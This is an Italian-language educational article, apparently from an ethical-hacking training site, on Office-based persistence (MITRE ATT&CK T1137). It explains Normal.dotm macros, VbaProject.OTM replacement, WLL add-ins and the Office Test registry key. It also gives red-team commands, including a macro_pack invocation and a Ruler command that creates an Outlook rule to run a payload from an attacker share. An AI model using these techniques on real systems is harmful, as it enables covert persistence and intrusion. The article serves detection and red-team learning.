Persistenza via Office: Office Application Startup (T1137)
La tecnica T1137 - Office Application Startup raccoglie l'insieme dei meccanismi con cui un attaccante sfrutta la suite Microsoft Office per garantirsi persistenza sull'endpoint compromesso. La tattica di riferimento è TA0003 (Persistence), ovvero la fase della kill chain in cui l'avversario cerca di mantenere il proprio accesso attraverso riavvii, cambi di credenziali e altre interruzioni.
Office offre una superficie di attacco particolarmente ricca: template globali come Normal.dotm, add-in COM/VSTO/WLL, macro VBA integrate nei documenti, e in Outlook una serie di feature storicamente abusate come regole client-side, form personalizzate e la vecchia Home Page delle cartelle. Ognuno di questi vettori trasforma l'apertura di Word, Excel o Outlook in un trigger di esecuzione automatica, spesso senza generare artefatti particolarmente sospetti agli occhi di un utente.
Il dataset MITRE associa a questa tecnica 2 gruppi APT documentati e 4 mitigazioni operative. La sua rilevanza deriva dal fatto che Office è ubiquo negli ambienti enterprise e che molti meccanismi di persistenza sopravvivono anche a bonifiche parziali: sostituire un file VbaProject.OTM o aggiungere una regola Outlook sincronizzata via Exchange significa che il backdoor si ripresenta anche dopo una reinstallazione del client. Comprendere la matrice di sotto-tecniche (add-in, template macro, Outlook rules/forms/home page, Office Test) è quindi prerequisito per costruire detection efficaci.
Per simulare T1137 in un esercizio red team, la scelta del sotto-vettore dipende dall'obiettivo. Se si punta a persistenza silente su una workstation utente, i template globali di Word restano la strada più diretta: sostituendo o modificando %APPDATA%\Microsoft\Templates\Normal.dotm con una macro Document_Open() o AutoExec(), si ottiene esecuzione a ogni apertura di Word. La macro può essere generata a mano o via macro_pack (open source, repository di Emeric Nasi) con un semplice macro_pack.exe -f payload.vba -G Normal.dotm.
Per Outlook, la tecnica documentata su APT32 consiste nel rimpiazzare VbaProject.OTM nel profilo utente (percorso tipico %APPDATA%\Microsoft\Outlook\VbaProject.OTM). Il file contiene il progetto VBA globale di Outlook e viene caricato all'avvio; una funzione Application_Startup() fornisce trigger affidabile. Gamaredon ha invece abusato del flag outlook.exe /altvba
Sul fronte Outlook rules e forms, il tool di riferimento è Ruler (open source, di SensePost), che consente di creare regole malevole via MAPI/HTTP autenticandosi con credenziali valide: ruler --email target@domain.tld add --location \attacker\share\payload.exe --trigger "phish" --name evil. Ruler supporta anche l'abuso di form personalizzate (ruler forms add) e della Home Page, sebbene quest'ultima sia mitigata dalla patch KB4011162.
Per add-in, i formati sfruttabili includono VSTO, COM add-in e WLL (Word Add-in Library, DLL native). Un WLL è semplicemente una DLL con export wllStartup, copiata in %APPDATA%\Microsoft\Word\Startup: viene caricata automaticamente all'avvio di Word senza passare dal Trust Center. Framework come Empire (open source, fork BC-Security) e moduli custom di Cobalt Strike (a pagamento) offrono generatori per questi payload.
Infine, la variante Office Test sfrutta la chiave di registro HKCU\Software\Microsoft\Office test\Special\Perf che punta a una DLL caricata da tutte le applicazioni Office all'avvio. Creazione via reg add è banale ma altamente rumorosa; ha però il vantaggio di essere trigger universale su tutta la suite. In lab, testare sempre in VM isolata con snapshot: alcune modifiche a Normal.dotm corrompono il profilo utente se il payload va in errore.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo